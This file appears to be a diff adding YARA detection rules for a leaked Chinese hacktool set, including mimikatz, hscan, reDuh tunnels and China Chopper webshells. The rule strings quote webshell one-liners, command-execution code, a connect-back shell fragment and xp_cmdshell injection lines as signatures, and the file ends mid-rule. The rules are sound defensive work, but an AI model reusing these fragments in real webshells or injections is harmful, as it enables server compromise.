+		hash = "09195ba4e25ccce35c188657957c0f2c6a61d083"
+	strings:
+		$s1 = "Watchdog thread %d waiting on Mutex" fullword ascii
+		$s2 = "Exploit ok run command" fullword ascii
+		$s3 = "\\epathobj_exp\\x64\\Release\\epathobj_exp.pdb" fullword ascii
+		$s4 = "Alllocated userspace PATHRECORD () %p" fullword ascii
+		$s5 = "Mutex object did not timeout, list not patched" fullword ascii
+		$s6 = "- inconsistent onexit begin-end variables" fullword wide  /* Goodware String - occured 96 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 150KB and 2 of them
+}
+
+rule kelloworld_2 {
+	meta:
+		description = "Chinese Hacktool Set - file kelloworld.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
+	strings:
+		$s1 = "Hello World!" fullword wide
+		$s2 = "kelloworld.dll" fullword ascii
+		$s3 = "kelloworld de mimikatz pour Windows" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+rule HScan_v1_20_hscan {
+	meta:
+		description = "Chinese Hacktool Set - file hscan.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		hash = "568b06696ea0270ee1a744a5ac16418c8dacde1c"
+	strings:
+		$s1 = "[%s]: Found \"FTP account: anyone/anyone@any.net\"  !!!" fullword ascii
+		$s2 = "%s -h 192.168.0.1 192.168.0.254 -port -ftp -max 200,100" fullword ascii
+		$s3 = ".\\report\\%s-%s.html" fullword ascii
+		$s4 = ".\\log\\Hscan.log" fullword ascii
+		$s5 = "[%s]: Found cisco Enable password: %s !!!" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and 2 of them
+}
+
+rule _Project1_Generate_rejoice {
+	meta:
+		description = "Chinese Hacktool Set - from files Project1.exe, Generate.exe, rejoice.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		super_rule = 1
+		hash0 = "d1a5e3b646a16a7fcccf03759bd0f96480111c96"
+		hash1 = "2cb4c3916271868c30c7b4598da697f59e9c7a12"
+		hash2 = "fe634a9f5d48d5c64c8f8bfd59ac7d8965d8f372"
+	strings:
+		$s1 = "sfUserAppDataRoaming" fullword ascii
+		$s2 = "$TRzFrameControllerPropertyConnection" fullword ascii
+		$s3 = "delphi32.exe" fullword ascii
+		$s4 = "hkeyCurrentUser" fullword ascii
+		$s5 = "%s is not a valid IP address." fullword wide
+		$s6 = "Citadel hooking error" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 2000KB and all of them
+}
+
+rule _hscan_hscan_hscangui {
+	meta:
+		description = "Chinese Hacktool Set - from files hscan.exe, hscan.exe, hscangui.exe"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		super_rule = 1
+		hash0 = "17a743e40790985ececf5c66eaad2a1f8c4cffe8"
+		hash1 = "568b06696ea0270ee1a744a5ac16418c8dacde1c"
+		hash2 = "af8aced0a78e1181f4c307c78402481a589f8d07"
+	strings:
+		$s1 = ".\\log\\Hscan.log" fullword ascii
+		$s2 = ".\\report\\%s-%s.html" fullword ascii
+		$s3 = "[%s]: checking \"FTP account: ftp/ftp@ftp.net\" ..." fullword ascii
+		$s4 = "[%s]: IPC NULL session connection success !!!" fullword ascii
+		$s5 = "Scan %d targets,use %4.1f minutes" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 240KB and all of them
+}
+
+rule kiwi_tools {
+	meta:
+		description = "Chinese Hacktool Set - from files kappfree.dll, kelloworld.dll, KiwiCmd.exe, KiwiRegedit.exe, KiwiTaskmgr.exe, klock.dll, mimikatz.exe, mimikatz.sys, sekurlsa.dll, kappfree.dll, kelloworld.dll, KiwiCmd.exe, KiwiRegedit.exe, KiwiTaskmgr.exe, klock.dll, mimikatz.exe, mimikatz.sys, sekurlsa.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		super_rule = 1
+		hash0 = "e57e79f190f8a24ca911e6c7e008743480c08553"
+		hash1 = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
+		hash2 = "7ac7541e20af7755b7d8141c5c1b7432465cabd8"
+		hash3 = "9fbfe3eb49d67347ab57ae743f7542864bc06de6"
+		hash4 = "5c90d648c414bdafb549291f95fe6f27c0c9b5ec"
+		hash5 = "7addce4434670927c4efaa560524680ba2871d17"
+		hash6 = "28c5c0bdb7786dc2771672a2c275be7d9b742ec7"
+		hash7 = "b5c93489a1b62181594d0fb08cc510d947353bc8"
+		hash8 = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
+		hash9 = "5d578df9a71670aa832d1cd63379e6162564fb6b"
+		hash10 = "febadc01a64a071816eac61a85418711debaf233"
+		hash11 = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
+		hash12 = "56a61c808b311e2225849d195bbeb69733efe49a"
+		hash13 = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
+		hash14 = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
+		hash15 = "f661d6516d081c37ab7da0f4ec21b2cc6a9257c6"
+		hash16 = "20facf1fa2d87cccf177403ca1a7852128a9a0ab"
+		hash17 = "6e0ffa472d63fdda5abc4c1b164ba8724dcb25b5"
+	strings:
+		$s1 = "http://blog.gentilkiwi.com/mimikatz" ascii
+		$s2 = "Benjamin Delpy" fullword ascii
+		$s3 = "GlobalSign" fullword ascii
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+
+rule kiwi_tools_gentil_kiwi {
+	meta:
+		description = "Chinese Hacktool Set - from files kappfree.dll, kelloworld.dll, KiwiCmd.exe, KiwiRegedit.exe, KiwiTaskmgr.exe, klock.dll, mimikatz.exe, sekurlsa.dll, kappfree.dll, kelloworld.dll, KiwiCmd.exe, KiwiRegedit.exe, KiwiTaskmgr.exe, klock.dll, mimikatz.exe, sekurlsa.dll"
+		author = "Florian Roth"
+		reference = "http://tools.zjqhr.com/"
+		date = "2015-06-13"
+		super_rule = 1
+		hash0 = "e57e79f190f8a24ca911e6c7e008743480c08553"
+		hash1 = "55d5dabd96c44d16e41f70f0357cba1dda26c24f"
+		hash2 = "7ac7541e20af7755b7d8141c5c1b7432465cabd8"
+		hash3 = "9fbfe3eb49d67347ab57ae743f7542864bc06de6"
+		hash4 = "5c90d648c414bdafb549291f95fe6f27c0c9b5ec"
+		hash5 = "7addce4434670927c4efaa560524680ba2871d17"
+		hash6 = "28c5c0bdb7786dc2771672a2c275be7d9b742ec7"
+		hash7 = "6acecd18fc7da1c5eb0d04e848aae9ce59d2b1b5"
+		hash8 = "5d578df9a71670aa832d1cd63379e6162564fb6b"
+		hash9 = "febadc01a64a071816eac61a85418711debaf233"
+		hash10 = "569ca4ff1a5ea537aefac4a04a2c588c566c6d86"
+		hash11 = "56a61c808b311e2225849d195bbeb69733efe49a"
+		hash12 = "8bd6c9f2e8be3e74bd83c6a2d929f8a69422fb16"
+		hash13 = "44825e848bc3abdb6f31d0a49725bb6f498e9ccc"
+		hash14 = "f661d6516d081c37ab7da0f4ec21b2cc6a9257c6"
+		hash15 = "6e0ffa472d63fdda5abc4c1b164ba8724dcb25b5"
+	strings:
+		$s1 = "mimikatz" fullword wide
+		$s2 = "Copyright (C) 2012 Gentil Kiwi" fullword wide
+		$s3 = "Gentil Kiwi" fullword wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and all of them
+}
+/*
+    Yara Rule Set
+    Author: Florian Roth
+    Date: 2015-06-13
+    Identifier: CN-Tools Webshells
+    Reference: Diclosed hacktool set at http://w2op.us/ (Mirror: http://tools.zjqhr.com)
+*/
+
+
+rule Tools_cmd {
+    meta:
+        description = "Chinese Hacktool Set - file cmd.jSp"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "02e37b95ef670336dc95331ec73dbb5a86f3ba2b"
+    strings:
+        $s0 = "if(\"1752393\".equals(request.getParameter(\"Confpwd\"))){" fullword ascii
+        $s1 = "java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"Conn\"" ascii
+        $s2 = "<%@ page import=\"java.io.*\" %>" fullword ascii
+        $s3 = "out.print(\"Hi,Man 2015<br /><!--?Confpwd=023&Conn=ls-->\");" fullword ascii
+        $s4 = "while((a=in.read(b))!=-1){" fullword ascii
+        $s5 = "out.println(new String(b));" fullword ascii
+        $s6 = "out.print(\"</pre>\");" fullword ascii
+        $s7 = "out.print(\"<pre>\");" fullword ascii
+        $s8 = "int a = -1;" fullword ascii
+        $s9 = "byte[] b = new byte[2048];" fullword ascii
+    condition:
+        filesize < 3KB and 7 of them
+}
+
+
+rule trigger_drop {
+    meta:
+        description = "Chinese Hacktool Set - file trigger_drop.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "165dd2d82bf87285c8a53ad1ede6d61a90837ba4"
+    strings:
+        $s0 = "$_GET['returnto'] = 'database_properties.php';" fullword ascii
+        $s1 = "echo('<meta http-equiv=\"refresh\" content=\"0;url=' . $_GET['returnto'] . '\">'" ascii
+        $s2 = "@mssql_query('DROP TRIGGER" ascii
+        $s3 = "if(empty($_GET['returnto']))" fullword ascii
+    condition:
+        filesize < 5KB and all of them
+}
+
+rule InjectionParameters {
+    meta:
+        description = "Chinese Hacktool Set - file InjectionParameters.vb"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "4f11aa5b3660c45e527606ee33de001f4994e1ea"
+    strings:
+        $s0 = "Public Shared ReadOnly Empty As New InjectionParameters(-1, \"\")" fullword ascii
+        $s1 = "Public Class InjectionParameters" fullword ascii
+    condition:
+        filesize < 13KB and all of them
+}
+
+rule users_list {
+    meta:
+        description = "Chinese Hacktool Set - file users_list.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "6fba1a1a607198ed232405ccbebf9543037a63ef"
+    strings:
+        $s0 = "<a href=\"users_create.php\">Create User</a>" fullword ascii
+        $s7 = "$skiplist = array('##MS_AgentSigningCertificate##','NT AUTHORITY\\NETWORK SERVIC" ascii
+        $s11 = "&nbsp;<b>Default DB</b>&nbsp;" fullword ascii
+    condition:
+        filesize < 12KB and all of them
+}
+
+rule function_drop {
+    meta:
+        description = "Chinese Hacktool Set - file function_drop.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "209098c494ce10d82d1c2002488509c5e8983182"
+    strings:
+        $s0 = "@mssql_query('DROP FUNCTION ' . urldecode($_GET['function']) . ';') or" ascii
+        $s1 = "$_GET['returnto'] = 'database_properties.php';" fullword ascii
+        $s2 = "echo('<meta http-equiv=\"refresh\" content=\"0;url=' . $_GET['returnto'] . '\">'" ascii
+        $s3 = "if(empty($_GET['returnto']))" fullword ascii
+    condition:
+        filesize < 5KB and all of them
+}
+
+rule table_export_download {
+    meta:
+        description = "Chinese Hacktool Set - file table_export_download.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "2758e553d1059bdbc4e3993dd6f46218fc26103d"
+    strings:
+        $s0 = "header('Content-Disposition: attachment; filename=\"' . $_SESSION['database'] . " ascii
+        $s1 = "header('Content-Length: ' . strlen($_POST['data']));" fullword ascii
+        $s2 = "header('Content-type: application/x-download');" fullword ascii
+        $s3 = "echo $_POST['data'];" fullword ascii
+    condition:
+        filesize < 5KB and all of them
+}
+
+rule trigger_modify {
+    meta:
+        description = "Chinese Hacktool Set - file trigger_modify.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "c93cd7a6c3f962381e9bf2b511db9b1639a22de0"
+    strings:
+        $s1 = "<form name=\"form1\" method=\"post\" action=\"trigger_modify.php?trigger=<?php e" ascii
+        $s2 = "$data_query = @mssql_query('sp_helptext \\'' . urldecode($_GET['trigger']) . '" ascii
+        $s3 = "if($_POST['query'] != '')" fullword ascii
+        $s4 = "$lines[] = 'I am unable to read this trigger.';" fullword ascii
+        $s5 = "<b>Modify Trigger</b>" fullword ascii
+    condition:
+        filesize < 15KB and all of them
+}
+
+rule Customize {
+    meta:
+        description = "Chinese Hacktool Set - file Customize.aspx"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "db556879dff9a0101a7a26260a5d0dc471242af2"
+    strings:
+        $s1 = "ds.Clear();ds.Dispose();}else{SqlCommand cm = Conn.CreateCommand();cm.CommandTex" ascii
+        $s2 = "c.UseShellExecute=false;c.RedirectStandardOutput=true;c.RedirectStandardError=tr" ascii
+        $s3 = "Stream WF=WB.GetResponseStream();FileStream FS=new FileStream(Z2,FileMode.Create" ascii
+        $s4 = "R=\"Result\\t|\\t\\r\\nExecute Successfully!\\t|\\t\\r\\n\";}Conn.Close();break;" ascii
+    condition:
+        filesize < 24KB and all of them
+}
+
+rule database_export {
+    meta:
+        description = "Chinese Hacktool Set - file database_export.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "edcf8ef761e7e09a6a4929ccbc2aa04c7011ae53"
+    strings:
+        $s0 = "header('Content-Length: ' . strlen($masterquery));" fullword ascii
+        $s3 = "echo '<form name=\"form1\" method=\"post\" action=\"database_export_download.php" ascii
+        $s7 = "if(substr_count($_POST['tables'][$counter],'.') > 0)" fullword ascii
+        $s19 = "<input type=\"hidden\" name=\"doexport\" value=\"yes\">" fullword ascii
+    condition:
+        filesize < 100KB and all of them
+}
+
+rule mobile_index {
+    meta:
+        description = "Chinese Hacktool Set - file index.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "353239a2116385aa2036a9748b8d2e9b7454bede"
+    strings:
+        $s0 = "$c = @mssql_connect($_POST['datasource'],$_POST['username'],$_POST['password']) " ascii
+        $s1 = "<form name=\"form1\" method=\"post\" action=\"index.php\">" fullword ascii
+        $s2 = "$_SESSION['datasource_password'] = $_POST['password'];" fullword ascii
+        $s3 = "<b>Username:</b>" fullword ascii
+    condition:
+        filesize < 21KB and all of them
+}
+
+rule oracle_data {
+    meta:
+        description = "Chinese Hacktool Set - file oracle_data.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "6cf070017be117eace4752650ba6cf96d67d2106"
+    strings:
+        $s0 = "$txt=fopen(\"oracle_info.txt\",\"w\");" fullword ascii
+        $s1 = "if(isset($_REQUEST['id']))" fullword ascii
+        $s2 = "$id=$_REQUEST['id'];" fullword ascii
+    condition:
+        all of them
+}
+
+rule reDuhServers_reDuh {
+    meta:
+        description = "Chinese Hacktool Set - file reDuh.jsp"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "377886490a86290de53d696864e41d6a547223b0"
+    strings:
+        $s1 = "out.println(\"[Error]Unable to connect to reDuh.jsp main process on port \" +ser" ascii
+        $s4 = "System.out.println(\"IPC service failed to bind to \" + servicePort);" fullword ascii $s17 = "System.out.println(\"Bound on \" + servicePort);" fullword ascii
+        $s5 = "outputFromSockets.add(\"[data]\"+target+\":\"+port+\":\"+sockNum+\":\"+new Strin" ascii
+    condition:
+        filesize < 116KB and all of them
+}
+
+rule item_old {
+    meta:
+        description = "Chinese Hacktool Set - file item-old.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "daae358bde97e534bc7f2b0134775b47ef57e1da"
+    strings:
+        $s1 = "$sCmd = \"wget -qc \".escapeshellarg($sURL).\" -O \".$sFile;" fullword ascii
+        $s2 = "$sCmd = \"convert \".$sFile.\" -flip -quality 80 \".$sFileOut;" fullword ascii
+        $s3 = "$sHash = md5($sURL);" fullword ascii
+    condition:
+        filesize < 7KB and 2 of them
+}
+
+rule Tools_2014 {
+    meta:
+        description = "Chinese Hacktool Set - file 2014.jsp"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "74518faf08637c53095697071db09d34dbe8d676"
+    strings:
+        $s0 = "((Invoker) ins.get(\"login\")).invoke(request, response," fullword ascii
+        $s4 = "program = \"cmd.exe /c net start > \" + SHELL_DIR" fullword ascii
+        $s5 = ": \"c:\\\\windows\\\\system32\\\\cmd.exe\")" fullword ascii
+    condition:
+        filesize < 715KB and all of them
+}
+
+rule reDuhServers_reDuh_2 {
+    meta:
+        description = "Chinese Hacktool Set - file reDuh.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "512d0a3e7bb7056338ad0167f485a8a6fa1532a3"
+    strings:
+        $s1 = "errorlog(\"FRONTEND: send_command '\".$data.\"' on port \".$port.\" returned \"." ascii
+        $s2 = "$msg = \"newData:\".$socketNumber.\":\".$targetHost.\":\".$targetPort.\":\".$seq" ascii
+        $s3 = "errorlog(\"BACKEND: *** Socket key is \".$sockkey);" fullword ascii
+    condition:
+        filesize < 57KB and all of them
+}
+
+rule Customize_2 {
+    meta:
+        description = "Chinese Hacktool Set - file Customize.jsp"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "37cd17543e14109d3785093e150652032a85d734"
+    strings:
+        $s1 = "while((l=br.readLine())!=null){sb.append(l+\"\\r\\n\");}}" fullword ascii
+        $s2 = "String Z=EC(request.getParameter(Pwd)+\"\",cs);String z1=EC(request.getParameter" ascii
+    condition:
+        filesize < 30KB and all of them
+}
+
+rule ChinaChopper_one {
+    meta:
+        description = "Chinese Hacktool Set - file one.asp"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "6cd28163be831a58223820e7abe43d5eacb14109"
+    strings:
+        $s0 = "<%eval request(" fullword ascii
+    condition:
+        filesize < 50 and all of them
+}
+
+rule CN_Tools_old {
+    meta:
+        description = "Chinese Hacktool Set - file old.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "f8a007758fda8aa1c0af3c43f3d7e3186a9ff307"
+    strings:
+        $s0 = "$sCmd = \"wget -qc \".escapeshellarg($sURL).\" -O \".$sFile;" fullword ascii
+        $s1 = "$sURL = \"http://\".$sServer.\"/\".$sFile;" fullword ascii
+        $s2 = "chmod(\"/\".substr($sHash, 0, 2), 0777);" fullword ascii
+        $s3 = "$sCmd = \"echo 123> \".$sFileOut;" fullword ascii
+    condition:
+        filesize < 6KB and all of them
+}
+
+rule item_301 {
+    meta:
+        description = "Chinese Hacktool Set - file item-301.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "15636f0e7dc062437608c1f22b1d39fa15ab2136"
+    strings:
+        $s1 = "$sURL = \"301:http://\".$sServer.\"/index.asp\";" fullword ascii
+        $s2 = "(gov)\\\\.(cn)$/i\", $aURL[\"host\"])" ascii
+        $s3 = "$aArg = explode(\" \", $sContent, 5);" fullword ascii
+        $s4 = "$sURL = $aArg[0];" fullword ascii
+    condition:
+        filesize < 3KB and 3 of them
+}
+
+rule CN_Tools_item {
+    meta:
+        description = "Chinese Hacktool Set - file item.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "a584db17ad93f88e56fd14090fae388558be08e4"
+    strings:
+        $s1 = "$sURL = \"http://\".$sServer.\"/\".$sWget;" fullword ascii
+        $s2 = "$sURL = \"301:http://\".$sServer.\"/\".$sWget;" fullword ascii
+        $s3 = "$sWget=\"index.asp\";" fullword ascii
+        $s4 = "$aURL += array(\"scheme\" => \"\", \"host\" => \"\", \"path\" => \"\");" fullword ascii
+    condition:
+        filesize < 4KB and all of them
+}
+
+rule f3_diy {
+    meta:
+        description = "Chinese Hacktool Set - file diy.asp"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "f39c2f64abe5e86d8d36dbb7b1921c7eab63bec9"
+    strings:
+        $s0 = "<%@LANGUAGE=\"VBScript.Encode\" CODEPAGE=\"936\"%>" fullword ascii
+        $s5 = ".black {" fullword ascii
+    condition:
+        uint16(0) == 0x253c and filesize < 10KB and all of them
+}
+
+rule ChinaChopper_temp {
+    meta:
+        description = "Chinese Hacktool Set - file temp.asp"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "b0561ea52331c794977d69704345717b4eb0a2a7"
+    strings:
+        $s0 = "o.run \"ff\",Server,Response,Request,Application,Session,Error" fullword ascii
+        $s1 = "Set o = Server.CreateObject(\"ScriptControl\")" fullword ascii
+        $s2 = "o.language = \"vbscript\"" fullword ascii
+        $s3 = "o.addcode(Request(\"SC\"))" fullword ascii
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule Tools_2015 {
+    meta:
+        description = "Chinese Hacktool Set - file 2015.jsp"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "8fc67359567b78cadf5d5c91a623de1c1d2ab689"
+    strings:
+        $s0 = "Configbis = new BufferedInputStream(httpUrl.getInputStream());" fullword ascii
+        $s4 = "System.out.println(Oute.toString());" fullword ascii
+        $s5 = "String ConfigFile = Outpath + \"/\" + request.getParameter(\"ConFile\");" fullword ascii
+        $s8 = "HttpURLConnection httpUrl = null;" fullword ascii
+        $s19 = "Configbos = new BufferedOutputStream(new FileOutputStream(Outf));;" fullword ascii
+    condition:
+        filesize < 7KB and all of them
+}
+
+rule ChinaChopper_temp_2 {
+    meta:
+        description = "Chinese Hacktool Set - file temp.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "604a4c07161ce1cd54aed5566e5720161b59deee"
+    strings:
+        $s0 = "@eval($_POST[strtoupper(md5(gmdate(" ascii
+    condition:
+        filesize < 150 and all of them
+}
+
+rule templatr {
+    meta:
+        description = "Chinese Hacktool Set - file templatr.php"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "759df470103d36a12c7d8cf4883b0c58fe98156b"
+    strings:
+        $s0 = "eval(gzinflate(base64_decode('" ascii
+    condition:
+        filesize < 70KB and all of them
+}
+
+rule reDuhServers_reDuh_3 {
+    meta:
+        description = "Chinese Hacktool Set - file reDuh.aspx"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "0744f64c24bf4c0bef54651f7c88a63e452b3b2d"
+    strings:
+        $s1 = "Response.Write(\"[Error]Unable to connect to reDuh.jsp main process on port \" +" ascii
+        $s2 = "host = System.Net.Dns.Resolve(\"127.0.0.1\");" fullword ascii
+        $s3 = "rw.WriteLine(\"[newData]\" + targetHost + \":\" + targetPort + \":\" + socketNum" ascii
+        $s4 = "Response.Write(\"Error: Bad port or host or socketnumber for creating new socket" ascii
+    condition:
+        filesize < 40KB and all of them
+}
+
+rule ChinaChopper_temp_3 {
+    meta:
+        description = "Chinese Hacktool Set - file temp.aspx"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-13"
+        hash = "c5ecb8bc1d7f0e716b06107b5bd275008acaf7b7"
+    strings:
+        $s0 = "<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"" ascii
+        $s1 = "\"],\"unsafe\");%>" ascii
+    condition:
+        uint16(0) == 0x253c and filesize < 150 and all of them
+}
+
+rule Shell_Asp {
+    meta:
+        description = "Chinese Hacktool Set Webshells - file Asp.html"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "5e0bc914ac287aa1418f6554ddbe0ce25f2b5f20"
+    strings:
+        $s1 = "Session.Contents.Remove(m & \"userPassword\")" fullword ascii
+        $s2 = "passWord = Encode(GetPost(\"password\"))" fullword ascii
+        $s3 = "function Command(cmd, str){" fullword ascii
+    condition:
+        filesize < 100KB and all of them
+}
+
+
+rule Txt_aspxtag {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file aspxtag.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "42cb272c02dbd49856816d903833d423d3759948"
+    strings:
+        $s1 = "String wGetUrl=Request.QueryString[" fullword ascii
+        $s2 = "sw.Write(wget);" fullword ascii
+        $s3 = "Response.Write(\"Hi,Man 2015\"); " fullword ascii
+    condition:
+        filesize < 2KB and all of them
+}
+
+rule Txt_php {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file php.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "eaa1af4b898f44fc954b485d33ce1d92790858d0"
+    strings:
+        $s1 = "$Config=$_SERVER['QUERY_STRING'];" fullword ascii
+        $s2 = "gzuncompress($_SESSION['api']),null);" ascii
+        $s3 = "sprintf('%s?%s',pack(\"H*\"," ascii
+        $s4 = "if(empty($_SESSION['api']))" fullword ascii
+    condition:
+        filesize < 1KB and all of them
+}
+
+rule Txt_aspx1 {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file aspx1.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "c5ecb8bc1d7f0e716b06107b5bd275008acaf7b7"
+    strings:
+        $s0 = "<%@ Page Language=\"Jscript\"%><%eval(Request.Item["
+        $s1 = "],\"unsafe\");%>" fullword ascii
+    condition:
+        filesize < 150 and all of them
+}
+
+rule Txt_shell {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file shell.c"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "8342b634636ef8b3235db0600a63cc0ce1c06b62"
+    strings:
+        $s1 = "printf(\"Could not connect to remote shell!\\n\");" fullword ascii
+        $s2 = "printf(\"Usage: %s <reflect ip> <port>\\n\", prog);" fullword ascii
+        $s3 = "execl(shell,\"/bin/sh\",(char *)0);" fullword ascii
+        $s4 = "char shell[]=\"/bin/sh\";" fullword ascii
+        $s5 = "connect back door\\n\\n\");" fullword ascii
+    condition:
+        filesize < 2KB and 2 of them
+}
+
+rule Txt_asp {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file asp.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "a63549f749f4d9d0861825764e042e299e06a705"
+    strings:
+        $s1 = "Server.ScriptTimeout=999999999:Response.Buffer=true:On Error Resume Next:BodyCol" ascii
+        $s2 = "<%@ LANGUAGE = VBScript.Encode %><%" fullword ascii
+    condition:
+        uint16(0) == 0x253c and filesize < 100KB and all of them
+}
+
+rule Txt_asp1 {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file asp1.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "95934d05f0884e09911ea9905c74690ace1ef653"
+    strings:
+        $s1 = "if ShellPath=\"\" Then ShellPath = \"cmd.exe\"" fullword ascii
+        $s2 = "autoLoginEnable=WSHShell.RegRead(autoLoginPath & autoLoginEnableKey)" fullword ascii
+        $s3 = "Set DD=CM.exec(ShellPath&\" /c \"&DefCmd)" fullword ascii
+        $s4 = "szTempFile = server.mappath(\"cmd.txt\")" fullword ascii
+    condition:
+        filesize < 70KB and 2 of them
+}
+
+rule Txt_php_2 {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file php.html"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "a7d5fcbd39071e0915c4ad914d31e00c7127bcfc"
+    strings:
+        $s1 = "function connect($dbhost, $dbuser, $dbpass, $dbname='') {" fullword ascii
+        $s2 = "scookie('loginpass', '', -86400 * 365);" fullword ascii
+        $s3 = "<title><?php echo $act.' - '.$_SERVER['HTTP_HOST'];?></title>" fullword ascii
+        $s4 = "Powered by <a title=\"Build 20130112\" href=\"http://www.4ngel.net\" target=\"_b" ascii
+        $s5 = "formhead(array('title'=>'Execute Command', 'onsubmit'=>'g(\\'shell\\',null,this." ascii
+        $s6 = "secparam('IP Configurate',execute('ipconfig -all'));" fullword ascii
+        $s7 = "secparam('Hosts', @file_get_contents('/etc/hosts'));" fullword ascii
+        $s8 = "p('<p><a href=\"http://w'.'ww.4'.'ng'.'el.net/php'.'sp'.'y/pl'.'ugin/\" target=" ascii
+    condition:
+        filesize < 100KB and 4 of them
+}
+
+rule Txt_ftp {
+    meta:
+        description = "Chinese Hacktool Set - Webshells - file ftp.txt"
+        author = "Florian Roth"
+        reference = "http://tools.zjqhr.com/"
+        date = "2015-06-14"
+        hash = "3495e6bcb5484e678ce4bae0bd1a420b7eb6ad1d"
+    strings:
+        $s1 = "';exec master.dbo.xp_cmdshell 'echo open " ascii
+        $s2 = "';exec master.dbo.xp_cmdshell 'ftp -s:';" ascii
+        $s3 = "';exec master.dbo.xp_cmdshell 'echo get lcx.exe" ascii
+        $s4 = "';exec master.dbo.xp_cmdshell 'echo get php.exe" ascii
+        $s5 = "';exec master.dbo.xp_cmdshell 'copy " ascii
+        $s6 = "ftp -s:d:\\ftp.txt " fullword ascii
+        $s7 = "echo bye>>d:\\ftp.txt " fullword ascii
+    condition:
+        filesize < 2KB and 2 of them
+}
+
+rule Txt_lcx {
+    meta:
